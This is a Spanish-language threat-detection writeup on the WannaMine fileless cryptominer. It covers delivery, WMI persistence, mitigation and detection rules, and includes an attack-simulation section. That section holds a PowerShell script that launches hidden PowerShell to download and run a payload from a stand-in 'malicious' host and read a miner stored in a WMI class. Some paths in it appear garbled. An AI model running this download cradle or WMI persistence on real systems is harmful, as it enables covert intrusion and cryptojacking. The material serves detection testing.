Análisis del Cryptominer WannaMine: Ejecución Sin Archivos y Persistencia
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
WannaMine es un gusano de criptominería sin archivos que se basa en herramientas ya incluidas en el sistema, principalmente PowerShell y Windows Management Instrumentation (WMI), para permanecer residente en la memoria y minar Monero.
Investigación
WannaMine se entrega ya sea a través de correos electrónicos de phishing que contienen archivos por lotes maliciosos o explotando la vulnerabilidad SMB EternalBlue. Para la persistencia, registra suscripciones a eventos WMI y almacena PowerShell codificado en clases WMI personalizadas.
Mitigación de WannaMine
Prevenga la explotación de EternalBlue parcheando SMB (MS17-010). Restringa la ejecución y monitoreo de PowerShell, observe la creación inusual de clases WMI y consumidores de eventos, y aplique el principio de privilegio mínimo para limitar el uso indebido de credenciales.
Respuesta
Alerta sobre comportamiento anormal de PowerShell/WMI, aísle los hosts afectados, elimine los consumidores/suscripciones de eventos WMI maliciosos, rote las credenciales potencialmente expuestas y realice análisis de memoria para confirmar el minero en memoria.
Flujo de Ataque
Detecciones
Descarga o Subida vía PowerShell (vía línea de comando)
Ver
Actividad de Modificación de Esquema de Energía Sospechosa (vía línea de comando)
Ver
LOLBAS wmic (vía línea de comando)
Ver
Descarga de Archivo Sospechosa IP Directa (vía proxy)
Ver
COIs (HashMd5) para detectar: Cómo Funciona WannaMine: Un Malware Criptominero Sin Archivos
Ver
COIs (Emails) para detectar: Cómo Funciona WannaMine: Un Malware Criptominero Sin Archivos
Ver
COIs (SourceIP) para detectar: Cómo Funciona WannaMine: Un Malware Criptominero Sin Archivos
Ver
COIs (DestinationIP) para detectar: Cómo Funciona WannaMine: Un Malware Criptominero Sin Archivos
Ver
Detección de Criptojacking Sin Archivos WannaMine [Creación de Procesos de Windows]
Ver
Detectar WannaMine, Criptominero Sin Archivos, Ejecución de PowerShell [Windows PowerShell]
Ver
Ejecución de Simulación
Prerequisito: La Verificación Preliminar de Telemetría y Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y el relato DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
Un atacante obtiene ejecución de código remoto en un punto final de Windows. Para evitar la interacción del usuario, lanza PowerShell en una ventana oculta (-W Hidden) sin perfil (-NoP) y no interactiva (-NonI). El comando utilizaIEXpara descargar una carga útil de PowerShell desde un servidor HTTP malicioso (http://malicious:8000/in6.ps1). El script descargado registra una clase WMI nombradaOffice_Updaterbajorootdefaultque almacena una propiedadmonque contiene un minero de Monero codificado en Base64. Luego, el atacante lee la propiedad a través de[WmiClass]y la invoca, lanzando efectivamente el criptominero sin crear un nuevo proceso. Esta secuencia coincide con las tres subcadenas de línea de comando de la regla de detección. -
Script de Prueba de Regresión:
#------------------------------------------------- # Simular ejecución de criptominero sin archivos WannaMine #------------------------------------------------- $maliciousServer = "http://malicious:8000" $payloadPath = "$maliciousServer/in6.ps1" # 1. Ejecución de PowerShell oculta, no interactiva $cmd = "-NoP -NonI -W Hidden " + "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " + "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value" # Invocar el comando (esto es lo que el atacante ejecutaría) Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow # Nota: Se asume que el script remoto (in6.ps1) crea la clase WMI # con una propiedad "mon" que contiene el código de minería. -
Comandos de Limpieza:
# Eliminar la clase WMI maliciosa Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue # Detener cualquier proceso de minería de PowerShell restante (si alguno fue lanzado) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.CommandLine -match "mon"} | Stop-Process -Force # Opcional: Limpiar archivos de transcripción/log de PowerShell creados durante la prueba Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue